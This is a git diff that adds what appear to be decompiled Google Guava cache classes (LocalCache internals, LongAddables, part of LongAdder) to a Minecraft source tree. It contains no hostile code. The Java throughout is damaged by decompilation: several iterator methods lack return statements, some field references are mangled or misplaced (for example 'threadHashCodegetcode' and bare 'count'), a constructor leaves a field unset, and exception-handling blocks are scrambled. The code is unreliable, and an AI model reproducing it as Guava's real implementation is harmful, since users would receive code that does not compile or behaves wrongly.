+      LocalCache.ReferenceEntry<K, V> e = (LocalCache.ReferenceEntry)o;
+      LocalCache.ReferenceEntry<K, V> previous = e.getPreviousInWriteQueue();
+      LocalCache.ReferenceEntry<K, V> next = e.getNextInWriteQueue();
+      LocalCache.connectWriteOrder(previous, next);
+      LocalCache.nullifyWriteOrder(e);
+      
+      return next != LocalCache.NullEntry.INSTANCE;
+    }
+    
+
+    public boolean contains(Object o)
+    {
+      LocalCache.ReferenceEntry<K, V> e = (LocalCache.ReferenceEntry)o;
+      return e.getNextInWriteQueue() != LocalCache.NullEntry.INSTANCE;
+    }
+    
+    public boolean isEmpty()
+    {
+      return head.getNextInWriteQueue() == head;
+    }
+    
+    public int size()
+    {
+      int size = 0;
+      for (LocalCache.ReferenceEntry<K, V> e = head.getNextInWriteQueue(); e != head; 
+          e = e.getNextInWriteQueue()) {
+        size++;
+      }
+      return size;
+    }
+    
+    public void clear()
+    {
+      LocalCache.ReferenceEntry<K, V> e = head.getNextInWriteQueue();
+      while (e != head) {
+        LocalCache.ReferenceEntry<K, V> next = e.getNextInWriteQueue();
+        LocalCache.nullifyWriteOrder(e);
+        e = next;
+      }
+      
+      head.setNextInWriteQueue(head);
+      head.setPreviousInWriteQueue(head);
+    }
+    
+    public Iterator<LocalCache.ReferenceEntry<K, V>> iterator()
+    {
+      new AbstractSequentialIterator(peek())
+      {
+        protected LocalCache.ReferenceEntry<K, V> computeNext(LocalCache.ReferenceEntry<K, V> previous) {
+          LocalCache.ReferenceEntry<K, V> next = previous.getNextInWriteQueue();
+          return next == head ? null : next;
+        }
+      };
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  static final class AccessQueue<K, V>
+    extends AbstractQueue<LocalCache.ReferenceEntry<K, V>>
+  {
+    final LocalCache.ReferenceEntry<K, V> head = new LocalCache.AbstractReferenceEntry()
+    {
+      public long getAccessTime()
+      {
+        return Long.MAX_VALUE;
+      }
+      
+
+
+
+      LocalCache.ReferenceEntry<K, V> nextAccess = this;
+      
+      public void setAccessTime(long time) {}
+      
+      public LocalCache.ReferenceEntry<K, V> getNextInAccessQueue() { return nextAccess; }
+      
+
+      public void setNextInAccessQueue(LocalCache.ReferenceEntry<K, V> next)
+      {
+        nextAccess = next;
+      }
+      
+      LocalCache.ReferenceEntry<K, V> previousAccess = this;
+      
+      public LocalCache.ReferenceEntry<K, V> getPreviousInAccessQueue()
+      {
+        return previousAccess;
+      }
+      
+      public void setPreviousInAccessQueue(LocalCache.ReferenceEntry<K, V> previous)
+      {
+        previousAccess = previous;
+      }
+    };
+    
+
+    AccessQueue() {}
+    
+    public boolean offer(LocalCache.ReferenceEntry<K, V> entry)
+    {
+      LocalCache.connectAccessOrder(entry.getPreviousInAccessQueue(), entry.getNextInAccessQueue());
+      
+
+      LocalCache.connectAccessOrder(head.getPreviousInAccessQueue(), entry);
+      LocalCache.connectAccessOrder(entry, head);
+      
+      return true;
+    }
+    
+    public LocalCache.ReferenceEntry<K, V> peek()
+    {
+      LocalCache.ReferenceEntry<K, V> next = head.getNextInAccessQueue();
+      return next == head ? null : next;
+    }
+    
+    public LocalCache.ReferenceEntry<K, V> poll()
+    {
+      LocalCache.ReferenceEntry<K, V> next = head.getNextInAccessQueue();
+      if (next == head) {
+        return null;
+      }
+      
+      remove(next);
+      return next;
+    }
+    
+
+    public boolean remove(Object o)
+    {
+      LocalCache.ReferenceEntry<K, V> e = (LocalCache.ReferenceEntry)o;
+      LocalCache.ReferenceEntry<K, V> previous = e.getPreviousInAccessQueue();
+      LocalCache.ReferenceEntry<K, V> next = e.getNextInAccessQueue();
+      LocalCache.connectAccessOrder(previous, next);
+      LocalCache.nullifyAccessOrder(e);
+      
+      return next != LocalCache.NullEntry.INSTANCE;
+    }
+    
+
+    public boolean contains(Object o)
+    {
+      LocalCache.ReferenceEntry<K, V> e = (LocalCache.ReferenceEntry)o;
+      return e.getNextInAccessQueue() != LocalCache.NullEntry.INSTANCE;
+    }
+    
+    public boolean isEmpty()
+    {
+      return head.getNextInAccessQueue() == head;
+    }
+    
+    public int size()
+    {
+      int size = 0;
+      for (LocalCache.ReferenceEntry<K, V> e = head.getNextInAccessQueue(); e != head; 
+          e = e.getNextInAccessQueue()) {
+        size++;
+      }
+      return size;
+    }
+    
+    public void clear()
+    {
+      LocalCache.ReferenceEntry<K, V> e = head.getNextInAccessQueue();
+      while (e != head) {
+        LocalCache.ReferenceEntry<K, V> next = e.getNextInAccessQueue();
+        LocalCache.nullifyAccessOrder(e);
+        e = next;
+      }
+      
+      head.setNextInAccessQueue(head);
+      head.setPreviousInAccessQueue(head);
+    }
+    
+    public Iterator<LocalCache.ReferenceEntry<K, V>> iterator()
+    {
+      new AbstractSequentialIterator(peek())
+      {
+        protected LocalCache.ReferenceEntry<K, V> computeNext(LocalCache.ReferenceEntry<K, V> previous) {
+          LocalCache.ReferenceEntry<K, V> next = previous.getNextInAccessQueue();
+          return next == head ? null : next;
+        }
+      };
+    }
+  }
+  
+
+  public void cleanUp()
+  {
+    for (Segment<?, ?> segment : segments) {
+      segment.cleanUp();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    long sum = 0L;
+    Segment<K, V>[] segments = this.segments;
+    for (int i = 0; i < segments.length; i++) {
+      if (count != 0) {
+        return false;
+      }
+      sum += modCount;
+    }
+    
+    if (sum != 0L) {
+      for (int i = 0; i < segments.length; i++) {
+        if (count != 0) {
+          return false;
+        }
+        sum -= modCount;
+      }
+      if (sum != 0L) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+  long longSize() {
+    Segment<K, V>[] segments = this.segments;
+    long sum = 0L;
+    for (int i = 0; i < segments.length; i++) {
+      sum += count;
+    }
+    return sum;
+  }
+  
+  public int size()
+  {
+    return Ints.saturatedCast(longSize());
+  }
+  
+  @Nullable
+  public V get(@Nullable Object key)
+  {
+    if (key == null) {
+      return null;
+    }
+    int hash = hash(key);
+    return segmentFor(hash).get(key, hash);
+  }
+  
+  @Nullable
+  public V getIfPresent(Object key) {
+    int hash = hash(Preconditions.checkNotNull(key));
+    V value = segmentFor(hash).get(key, hash);
+    if (value == null) {
+      globalStatsCounter.recordMisses(1);
+    } else {
+      globalStatsCounter.recordHits(1);
+    }
+    return value;
+  }
+  
+  V get(K key, CacheLoader<? super K, V> loader) throws ExecutionException {
+    int hash = hash(Preconditions.checkNotNull(key));
+    return segmentFor(hash).get(key, hash, loader);
+  }
+  
+  V getOrLoad(K key) throws ExecutionException {
+    return get(key, defaultLoader);
+  }
+  
+  ImmutableMap<K, V> getAllPresent(Iterable<?> keys) {
+    int hits = 0;
+    int misses = 0;
+    
+    Map<K, V> result = Maps.newLinkedHashMap();
+    for (Object key : keys) {
+      V value = get(key);
+      if (value == null) {
+        misses++;
+      }
+      else
+      {
+        K castKey = key;
+        result.put(castKey, value);
+        hits++;
+      }
+    }
+    globalStatsCounter.recordHits(hits);
+    globalStatsCounter.recordMisses(misses);
+    return ImmutableMap.copyOf(result);
+  }
+  
+  ImmutableMap<K, V> getAll(Iterable<? extends K> keys) throws ExecutionException {
+    int hits = 0;
+    int misses = 0;
+    
+    Map<K, V> result = Maps.newLinkedHashMap();
+    Set<K> keysToLoad = Sets.newLinkedHashSet();
+    for (K key : keys) {
+      V value = get(key);
+      if (!result.containsKey(key)) {
+        result.put(key, value);
+        if (value == null) {
+          misses++;
+          keysToLoad.add(key);
+        } else {
+          hits++;
+        }
+      }
+    }
+    try
+    {
+      if (!keysToLoad.isEmpty()) {
+        Iterator i$;
+        try { newEntries = loadAll(keysToLoad, defaultLoader);
+          for (K key : keysToLoad) {
+            V value = newEntries.get(key);
+            if (value == null) {
+              throw new CacheLoader.InvalidCacheLoadException("loadAll failed to return a value for " + key);
+            }
+            result.put(key, value);
+          }
+        } catch (CacheLoader.UnsupportedLoadingOperationException e) {
+          Map<K, V> newEntries;
+          i$ = keysToLoad.iterator(); } while (i$.hasNext()) { K key = i$.next();
+          misses--;
+          result.put(key, get(key, defaultLoader));
+        }
+      }
+      
+      return ImmutableMap.copyOf(result);
+    } finally {
+      globalStatsCounter.recordHits(hits);
+      globalStatsCounter.recordMisses(misses);
+    }
+  }
+  
+
+
+
+  @Nullable
+  Map<K, V> loadAll(Set<? extends K> keys, CacheLoader<? super K, V> loader)
+    throws ExecutionException
+  {
+    Preconditions.checkNotNull(loader);
+    Preconditions.checkNotNull(keys);
+    Stopwatch stopwatch = Stopwatch.createStarted();
+    
+    boolean success = false;
+    Map<K, V> result;
+    try {
+      Map<K, V> map = loader.loadAll(keys);
+      result = map;
+      success = true;
+    } catch (CacheLoader.UnsupportedLoadingOperationException e) {
+      success = true;
+      throw e;
+    } catch (InterruptedException e) {
+      Thread.currentThread().interrupt();
+      throw new ExecutionException(e);
+    } catch (RuntimeException e) {
+      throw new UncheckedExecutionException(e);
+    } catch (Exception e) {
+      throw new ExecutionException(e);
+    } catch (Error e) {
+      throw new ExecutionError(e);
+    } finally {
+      if (!success) {
+        globalStatsCounter.recordLoadException(stopwatch.elapsed(TimeUnit.NANOSECONDS));
+      }
+    }
+    
+    if (result == null) {
+      globalStatsCounter.recordLoadException(stopwatch.elapsed(TimeUnit.NANOSECONDS));
+      throw new CacheLoader.InvalidCacheLoadException(loader + " returned null map from loadAll");
+    }
+    
+    stopwatch.stop();
+    
+    boolean nullsPresent = false;
+    for (Map.Entry<K, V> entry : result.entrySet()) {
+      K key = entry.getKey();
+      V value = entry.getValue();
+      if ((key == null) || (value == null))
+      {
+        nullsPresent = true;
+      } else {
+        put(key, value);
+      }
+    }
+    
+    if (nullsPresent) {
+      globalStatsCounter.recordLoadException(stopwatch.elapsed(TimeUnit.NANOSECONDS));
+      throw new CacheLoader.InvalidCacheLoadException(loader + " returned null keys or values from loadAll");
+    }
+    
+
+    globalStatsCounter.recordLoadSuccess(stopwatch.elapsed(TimeUnit.NANOSECONDS));
+    return result;
+  }
+  
+
+
+
+
+  ReferenceEntry<K, V> getEntry(@Nullable Object key)
+  {
+    if (key == null) {
+      return null;
+    }
+    int hash = hash(key);
+    return segmentFor(hash).getEntry(key, hash);
+  }
+  
+  void refresh(K key) {
+    int hash = hash(Preconditions.checkNotNull(key));
+    segmentFor(hash).refresh(key, hash, defaultLoader, false);
+  }
+  
+
+  public boolean containsKey(@Nullable Object key)
+  {
+    if (key == null) {
+      return false;
+    }
+    int hash = hash(key);
+    return segmentFor(hash).containsKey(key, hash);
+  }
+  
+
+  public boolean containsValue(@Nullable Object value)
+  {
+    if (value == null) {
+      return false;
+    }
+    
+
+
+
+
+
+    long now = ticker.read();
+    Segment<K, V>[] segments = this.segments;
+    long last = -1L;
+    for (int i = 0; i < 3; i++) {
+      long sum = 0L;
+      for (Segment<K, V> segment : segments)
+      {
+
+        int c = count;
+        
+        AtomicReferenceArray<ReferenceEntry<K, V>> table = table;
+        for (int j = 0; j < table.length(); j++) {
+          for (ReferenceEntry<K, V> e = (ReferenceEntry)table.get(j); e != null; e = e.getNext()) {
+            V v = segment.getLiveValue(e, now);
+            if ((v != null) && (valueEquivalence.equivalent(value, v))) {
+              return true;
+            }
+          }
+        }
+        sum += modCount;
+      }
+      if (sum == last) {
+        break;
+      }
+      last = sum;
+    }
+    return false;
+  }
+  
+  public V put(K key, V value)
+  {
+    Preconditions.checkNotNull(key);
+    Preconditions.checkNotNull(value);
+    int hash = hash(key);
+    return segmentFor(hash).put(key, hash, value, false);
+  }
+  
+  public V putIfAbsent(K key, V value)
+  {
+    Preconditions.checkNotNull(key);
+    Preconditions.checkNotNull(value);
+    int hash = hash(key);
+    return segmentFor(hash).put(key, hash, value, true);
+  }
+  
+  public void putAll(Map<? extends K, ? extends V> m)
+  {
+    for (Map.Entry<? extends K, ? extends V> e : m.entrySet()) {
+      put(e.getKey(), e.getValue());
+    }
+  }
+  
+  public V remove(@Nullable Object key)
+  {
+    if (key == null) {
+      return null;
+    }
+    int hash = hash(key);
+    return segmentFor(hash).remove(key, hash);
+  }
+  
+  public boolean remove(@Nullable Object key, @Nullable Object value)
+  {
+    if ((key == null) || (value == null)) {
+      return false;
+    }
+    int hash = hash(key);
+    return segmentFor(hash).remove(key, hash, value);
+  }
+  
+  public boolean replace(K key, @Nullable V oldValue, V newValue)
+  {
+    Preconditions.checkNotNull(key);
+    Preconditions.checkNotNull(newValue);
+    if (oldValue == null) {
+      return false;
+    }
+    int hash = hash(key);
+    return segmentFor(hash).replace(key, hash, oldValue, newValue);
+  }
+  
+  public V replace(K key, V value)
+  {
+    Preconditions.checkNotNull(key);
+    Preconditions.checkNotNull(value);
+    int hash = hash(key);
+    return segmentFor(hash).replace(key, hash, value);
+  }
+  
+  public void clear()
+  {
+    for (Segment<K, V> segment : segments) {
+      segment.clear();
+    }
+  }
+  
+  void invalidateAll(Iterable<?> keys)
+  {
+    for (Object key : keys) {
+      remove(key);
+    }
+  }
+  
+
+
+
+  public Set<K> keySet()
+  {
+    Set<K> ks = keySet;
+    return this.keySet = new KeySet(this);
+  }
+  
+
+
+
+  public Collection<V> values()
+  {
+    Collection<V> vs = values;
+    return this.values = new Values(this);
+  }
+  
+
+
+
+  @GwtIncompatible("Not supported.")
+  public Set<Map.Entry<K, V>> entrySet()
+  {
+    Set<Map.Entry<K, V>> es = entrySet;
+    return this.entrySet = new EntrySet(this);
+  }
+  
+  abstract class HashIterator<T>
+    implements Iterator<T>
+  {
+    int nextSegmentIndex;
+    int nextTableIndex;
+    LocalCache.Segment<K, V> currentSegment;
+    AtomicReferenceArray<LocalCache.ReferenceEntry<K, V>> currentTable;
+    LocalCache.ReferenceEntry<K, V> nextEntry;
+    LocalCache<K, V>.WriteThroughEntry nextExternal;
+    LocalCache<K, V>.WriteThroughEntry lastReturned;
+    
+    HashIterator()
+    {
+      nextSegmentIndex = (segments.length - 1);
+      nextTableIndex = -1;
+      advance();
+    }
+    
+    public abstract T next();
+    
+    final void advance()
+    {
+      nextExternal = null;
+      
+      if (nextInChain()) {
+        return;
+      }
+      
+      if (nextInTable()) {
+        return;
+      }
+      
+      while (nextSegmentIndex >= 0) {
+        currentSegment = segments[(nextSegmentIndex--)];
+        if (currentSegment.count != 0) {
+          currentTable = currentSegment.table;
+          nextTableIndex = (currentTable.length() - 1);
+          if (nextInTable()) {}
+        }
+      }
+    }
+    
+
+
+
+
+    boolean nextInChain()
+    {
+      if (nextEntry != null) {
+        for (nextEntry = nextEntry.getNext(); nextEntry != null; nextEntry = nextEntry.getNext()) {
+          if (advanceTo(nextEntry)) {
+            return true;
+          }
+        }
+      }
+      return false;
+    }
+    
+
+
+    boolean nextInTable()
+    {
+      while (nextTableIndex >= 0) {
+        if (((this.nextEntry = (LocalCache.ReferenceEntry)currentTable.get(nextTableIndex--)) != null) && (
+          (advanceTo(nextEntry)) || (nextInChain()))) {
+          return true;
+        }
+      }
+      
+      return false;
+    }
+    
+
+
+    boolean advanceTo(LocalCache.ReferenceEntry<K, V> entry)
+    {
+      try
+      {
+        long now = ticker.read();
+        K key = entry.getKey();
+        V value = getLiveValue(entry, now);
+        boolean bool; if (value != null) {
+          nextExternal = new LocalCache.WriteThroughEntry(LocalCache.this, key, value);
+          return true;
+        }
+        
+        return false;
+      }
+      finally {
+        currentSegment.postReadCleanup();
+      }
+    }
+    
+    public boolean hasNext()
+    {
+      return nextExternal != null;
+    }
+    
+    LocalCache<K, V>.WriteThroughEntry nextEntry() {
+      if (nextExternal == null) {
+        throw new NoSuchElementException();
+      }
+      lastReturned = nextExternal;
+      advance();
+      return lastReturned;
+    }
+    
+    public void remove()
+    {
+      Preconditions.checkState(lastReturned != null);
+      remove(lastReturned.getKey());
+      lastReturned = null;
+    }
+  }
+  
+  final class KeyIterator extends LocalCache<K, V>.HashIterator<K> { KeyIterator() { super(); }
+    
+
+
+    public K next() { return nextEntry().getKey(); }
+  }
+  
+  final class ValueIterator extends LocalCache<K, V>.HashIterator<V> {
+    ValueIterator() { super(); }
+    
+    public V next()
+    {
+      return nextEntry().getValue();
+    }
+  }
+  
+
+  final class WriteThroughEntry
+    implements Map.Entry<K, V>
+  {
+    final K key;
+    V value;
+    
+    WriteThroughEntry(V key)
+    {
+      this.key = key;
+      this.value = value;
+    }
+    
+    public K getKey()
+    {
+      return key;
+    }
+    
+    public V getValue()
+    {
+      return value;
+    }
+    
+
+    public boolean equals(@Nullable Object object)
+    {
+      if ((object instanceof Map.Entry)) {
+        Map.Entry<?, ?> that = (Map.Entry)object;
+        return (key.equals(that.getKey())) && (value.equals(that.getValue()));
+      }
+      return false;
+    }
+    
+
+    public int hashCode()
+    {
+      return key.hashCode() ^ value.hashCode();
+    }
+    
+    public V setValue(V newValue)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+    public String toString() { return getKey() + "=" + getValue(); }
+  }
+  
+  final class EntryIterator extends LocalCache<K, V>.HashIterator<Map.Entry<K, V>> {
+    EntryIterator() { super(); }
+    
+    public Map.Entry<K, V> next()
+    {
+      return nextEntry();
+    }
+  }
+  
+  abstract class AbstractCacheSet<T> extends AbstractSet<T> {
+    final ConcurrentMap<?, ?> map;
+    
+    AbstractCacheSet() {
+      this.map = map;
+    }
+    
+    public int size()
+    {
+      return map.size();
+    }
+    
+    public boolean isEmpty()
+    {
+      return map.isEmpty();
+    }
+    
+    public void clear()
+    {
+      map.clear();
+    }
+  }
+  
+  final class KeySet extends LocalCache<K, V>.AbstractCacheSet<K>
+  {
+    KeySet() {
+      super(map);
+    }
+    
+    public Iterator<K> iterator()
+    {
+      return new LocalCache.KeyIterator(LocalCache.this);
+    }
+    
+    public boolean contains(Object o)
+    {
+      return map.containsKey(o);
+    }
+    
+    public boolean remove(Object o)
+    {
+      return map.remove(o) != null;
+    }
+  }
+  
+  final class Values extends AbstractCollection<V> {
+    private final ConcurrentMap<?, ?> map;
+    
+    Values() {
+      this.map = map;
+    }
+    
+    public int size() {
+      return map.size();
+    }
+    
+    public boolean isEmpty() {
+      return map.isEmpty();
+    }
+    
+    public void clear() {
+      map.clear();
+    }
+    
+    public Iterator<V> iterator()
+    {
+      return new LocalCache.ValueIterator(LocalCache.this);
+    }
+    
+    public boolean contains(Object o)
+    {
+      return map.containsValue(o);
+    }
+  }
+  
+  final class EntrySet extends LocalCache<K, V>.AbstractCacheSet<Map.Entry<K, V>>
+  {
+    EntrySet() {
+      super(map);
+    }
+    
+    public Iterator<Map.Entry<K, V>> iterator()
+    {
+      return new LocalCache.EntryIterator(LocalCache.this);
+    }
+    
+    public boolean contains(Object o)
+    {
+      if (!(o instanceof Map.Entry)) {
+        return false;
+      }
+      Map.Entry<?, ?> e = (Map.Entry)o;
+      Object key = e.getKey();
+      if (key == null) {
+        return false;
+      }
+      V v = get(key);
+      
+      return (v != null) && (valueEquivalence.equivalent(e.getValue(), v));
+    }
+    
+    public boolean remove(Object o)
+    {
+      if (!(o instanceof Map.Entry)) {
+        return false;
+      }
+      Map.Entry<?, ?> e = (Map.Entry)o;
+      Object key = e.getKey();
+      return (key != null) && (remove(key, e.getValue()));
+    }
+  }
+  
+
+  static class ManualSerializationProxy<K, V>
+    extends ForwardingCache<K, V>
+    implements Serializable
+  {
+    private static final long serialVersionUID = 1L;
+    
+    final LocalCache.Strength keyStrength;
+    
+    final LocalCache.Strength valueStrength;
+    
+    final Equivalence<Object> keyEquivalence;
+    
+    final Equivalence<Object> valueEquivalence;
+    
+    final long expireAfterWriteNanos;
+    
+    final long expireAfterAccessNanos;
+    
+    final long maxWeight;
+    
+    final Weigher<K, V> weigher;
+    final int concurrencyLevel;
+    final RemovalListener<? super K, ? super V> removalListener;
+    final Ticker ticker;
+    final CacheLoader<? super K, V> loader;
+    transient Cache<K, V> delegate;
+    
+    ManualSerializationProxy(LocalCache<K, V> cache)
+    {
+      this(keyStrength, valueStrength, keyEquivalence, valueEquivalence, expireAfterWriteNanos, expireAfterAccessNanos, maxWeight, weigher, concurrencyLevel, removalListener, ticker, defaultLoader);
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    private ManualSerializationProxy(LocalCache.Strength keyStrength, LocalCache.Strength valueStrength, Equivalence<Object> keyEquivalence, Equivalence<Object> valueEquivalence, long expireAfterWriteNanos, long expireAfterAccessNanos, long maxWeight, Weigher<K, V> weigher, int concurrencyLevel, RemovalListener<? super K, ? super V> removalListener, Ticker ticker, CacheLoader<? super K, V> loader)
+    {
+      this.keyStrength = keyStrength;
+      this.valueStrength = valueStrength;
+      this.keyEquivalence = keyEquivalence;
+      this.valueEquivalence = valueEquivalence;
+      this.expireAfterWriteNanos = expireAfterWriteNanos;
+      this.expireAfterAccessNanos = expireAfterAccessNanos;
+      this.maxWeight = maxWeight;
+      this.weigher = weigher;
+      this.concurrencyLevel = concurrencyLevel;
+      this.removalListener = removalListener;
+      this.ticker = ((ticker == Ticker.systemTicker()) || (ticker == CacheBuilder.NULL_TICKER) ? null : ticker);
+      
+      this.loader = loader;
+    }
+    
+    CacheBuilder<K, V> recreateCacheBuilder() {
+      CacheBuilder<K, V> builder = CacheBuilder.newBuilder().setKeyStrength(keyStrength).setValueStrength(valueStrength).keyEquivalence(keyEquivalence).valueEquivalence(valueEquivalence).concurrencyLevel(concurrencyLevel).removalListener(removalListener);
+      
+
+
+
+
+
+      strictParsing = false;
+      if (expireAfterWriteNanos > 0L) {
+        builder.expireAfterWrite(expireAfterWriteNanos, TimeUnit.NANOSECONDS);
+      }
+      if (expireAfterAccessNanos > 0L) {
+        builder.expireAfterAccess(expireAfterAccessNanos, TimeUnit.NANOSECONDS);
+      }
+      if (weigher != CacheBuilder.OneWeigher.INSTANCE) {
+        builder.weigher(weigher);
+        if (maxWeight != -1L) {
+          builder.maximumWeight(maxWeight);
+        }
+      }
+      else if (maxWeight != -1L) {
+        builder.maximumSize(maxWeight);
+      }
+      
+      if (ticker != null) {
+        builder.ticker(ticker);
+      }
+      return builder;
+    }
+    
+    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+      in.defaultReadObject();
+      CacheBuilder<K, V> builder = recreateCacheBuilder();
+      delegate = builder.build();
+    }
+    
+    private Object readResolve() {
+      return delegate;
+    }
+    
+    protected Cache<K, V> delegate()
+    {
+      return delegate;
+    }
+  }
+  
+
+
+  static final class LoadingSerializationProxy<K, V>
+    extends LocalCache.ManualSerializationProxy<K, V>
+    implements LoadingCache<K, V>, Serializable
+  {
+    private static final long serialVersionUID = 1L;
+    
+
+    transient LoadingCache<K, V> autoDelegate;
+    
+
+
+    LoadingSerializationProxy(LocalCache<K, V> cache)
+    {
+      super();
+    }
+    
+    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+      in.defaultReadObject();
+      CacheBuilder<K, V> builder = recreateCacheBuilder();
+      autoDelegate = builder.build(loader);
+    }
+    
+    public V get(K key) throws ExecutionException
+    {
+      return autoDelegate.get(key);
+    }
+    
+    public V getUnchecked(K key)
+    {
+      return autoDelegate.getUnchecked(key);
+    }
+    
+    public ImmutableMap<K, V> getAll(Iterable<? extends K> keys) throws ExecutionException
+    {
+      return autoDelegate.getAll(keys);
+    }
+    
+    public final V apply(K key)
+    {
+      return autoDelegate.apply(key);
+    }
+    
+    public void refresh(K key)
+    {
+      autoDelegate.refresh(key);
+    }
+    
+    private Object readResolve() {
+      return autoDelegate;
+    }
+  }
+  
+  static class LocalManualCache<K, V> implements Cache<K, V>, Serializable {
+    final LocalCache<K, V> localCache;
+    private static final long serialVersionUID = 1L;
+    
+    LocalManualCache(CacheBuilder<? super K, ? super V> builder) { this(new LocalCache(builder, null)); }
+    
+    private LocalManualCache(LocalCache<K, V> localCache)
+    {
+      this.localCache = localCache;
+    }
+    
+
+
+    @Nullable
+    public V getIfPresent(Object key)
+    {
+      return localCache.getIfPresent(key);
+    }
+    
+    public V get(K key, final Callable<? extends V> valueLoader) throws ExecutionException
+    {
+      Preconditions.checkNotNull(valueLoader);
+      localCache.get(key, new CacheLoader()
+      {
+        public V load(Object key) throws Exception {
+          return valueLoader.call();
+        }
+      });
+    }
+    
+    public ImmutableMap<K, V> getAllPresent(Iterable<?> keys)
+    {
+      return localCache.getAllPresent(keys);
+    }
+    
+    public void put(K key, V value)
+    {
+      localCache.put(key, value);
+    }
+    
+    public void putAll(Map<? extends K, ? extends V> m)
+    {
+      localCache.putAll(m);
+    }
+    
+    public void invalidate(Object key)
+    {
+      Preconditions.checkNotNull(key);
+      localCache.remove(key);
+    }
+    
+    public void invalidateAll(Iterable<?> keys)
+    {
+      localCache.invalidateAll(keys);
+    }
+    
+    public void invalidateAll()
+    {
+      localCache.clear();
+    }
+    
+    public long size()
+    {
+      return localCache.longSize();
+    }
+    
+    public ConcurrentMap<K, V> asMap()
+    {
+      return localCache;
+    }
+    
+    public CacheStats stats()
+    {
+      AbstractCache.SimpleStatsCounter aggregator = new AbstractCache.SimpleStatsCounter();
+      aggregator.incrementBy(localCache.globalStatsCounter);
+      for (LocalCache.Segment<K, V> segment : localCache.segments) {
+        aggregator.incrementBy(statsCounter);
+      }
+      return aggregator.snapshot();
+    }
+    
+    public void cleanUp()
+    {
+      localCache.cleanUp();
+    }
+    
+
+
+
+    Object writeReplace()
+    {
+      return new LocalCache.ManualSerializationProxy(localCache);
+    }
+  }
+  
+  static class LocalLoadingCache<K, V> extends LocalCache.LocalManualCache<K, V> implements LoadingCache<K, V>
+  {
+    private static final long serialVersionUID = 1L;
+    
+    LocalLoadingCache(CacheBuilder<? super K, ? super V> builder, CacheLoader<? super K, V> loader) {
+      super(null);
+    }
+    
+
+    public V get(K key)
+      throws ExecutionException
+    {
+      return localCache.getOrLoad(key);
+    }
+    
+    public V getUnchecked(K key)
+    {
+      try {
+        return get(key);
+      } catch (ExecutionException e) {
+        throw new UncheckedExecutionException(e.getCause());
+      }
+    }
+    
+    public ImmutableMap<K, V> getAll(Iterable<? extends K> keys) throws ExecutionException
+    {
+      return localCache.getAll(keys);
+    }
+    
+    public void refresh(K key)
+    {
+      localCache.refresh(key);
+    }
+    
+    public final V apply(K key)
+    {
+      return getUnchecked(key);
+    }
+    
+
+
+
+
+    Object writeReplace()
+    {
+      return new LocalCache.LoadingSerializationProxy(localCache);
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/cache/LongAddable.java b/src/minecraft/com/google/common/cache/LongAddable.java
new file mode 100644
index 0000000..8251a55
--- /dev/null
+++ b/src/minecraft/com/google/common/cache/LongAddable.java
@@ -0,0 +1,13 @@
+package com.google.common.cache;
+
+import com.google.common.annotations.GwtCompatible;
+
+@GwtCompatible
+abstract interface LongAddable
+{
+  public abstract void increment();
+  
+  public abstract void add(long paramLong);
+  
+  public abstract long sum();
+}
diff --git a/src/minecraft/com/google/common/cache/LongAddables.java b/src/minecraft/com/google/common/cache/LongAddables.java
new file mode 100644
index 0000000..faf58e2
--- /dev/null
+++ b/src/minecraft/com/google/common/cache/LongAddables.java
@@ -0,0 +1,75 @@
+package com.google.common.cache;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Supplier;
+import java.util.concurrent.atomic.AtomicLong;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+final class LongAddables
+{
+  private static final Supplier<LongAddable> SUPPLIER;
+  
+  static
+  {
+    Supplier<LongAddable> supplier;
+    try
+    {
+      new LongAdder();
+      supplier = new Supplier()
+      {
+        public LongAddable get() {
+          return new LongAdder();
+        }
+      };
+    } catch (Throwable t) {
+      supplier = new Supplier()
+      {
+        public LongAddable get() {
+          return new LongAddables.PureJavaLongAddable(null);
+        }
+      };
+    }
+    SUPPLIER = supplier;
+  }
+  
+
+  public static LongAddable create() { return (LongAddable)SUPPLIER.get(); }
+  
+  LongAddables() {}
+  
+  private static final class PureJavaLongAddable extends AtomicLong implements LongAddable { private PureJavaLongAddable() {}
+    
+    public void increment() { getAndIncrement(); }
+    
+
+    public void add(long x)
+    {
+      getAndAdd(x);
+    }
+    
+    public long sum()
+    {
+      return get();
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/cache/LongAdder.java b/src/minecraft/com/google/common/cache/LongAdder.java
new file mode 100644
index 0000000..f632cf1
--- /dev/null
+++ b/src/minecraft/com/google/common/cache/LongAdder.java
@@ -0,0 +1,210 @@
+package com.google.common.cache;
+
+import com.google.common.annotations.GwtCompatible;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+final class LongAdder
+  extends Striped64
+  implements Serializable, LongAddable
+{
+  private static final long serialVersionUID = 7249069246863182397L;
+  
+  final long fn(long v, long x)
+  {
+    return v + x;
+  }
+  
+
+
+  public LongAdder() {}
+  
+
+
+  public void add(long x)
+  {
+    Striped64.Cell[] as;
+    
+    long b;
+    
+    if (((as = cells) != null) || (!casBase(b = base, b + x))) {
+      boolean uncontended = true;
+      Striped64.HashCode hc; int h = threadHashCodegetcode;
+      int n; Striped64.Cell a; long v; if ((as == null) || ((n = as.length) < 1) || ((a = as[(n - 1 & h)]) == null) || (!(uncontended = a.cas(v = value, v + x))))
+      {
+
+        retryUpdate(x, hc, uncontended);
+      }
+    }
+  }
+  
+
+  public void increment()
+  {
+    add(1L);
+  }
+  
+
+
+  public void decrement()
+  {
+    add(-1L);
+  }
+  
+
+
+
+
+
+
+
+
+  public long sum()
+  {
+    long sum = base;
+    Striped64.Cell[] as = cells;
+    if (as != null) {
+      int n = as.length;
+      for (int i = 0; i < n; i++) {
+        Striped64.Cell a = as[i];
+        if (a != null)
+          sum += value;
+      }
+    }
+    return sum;
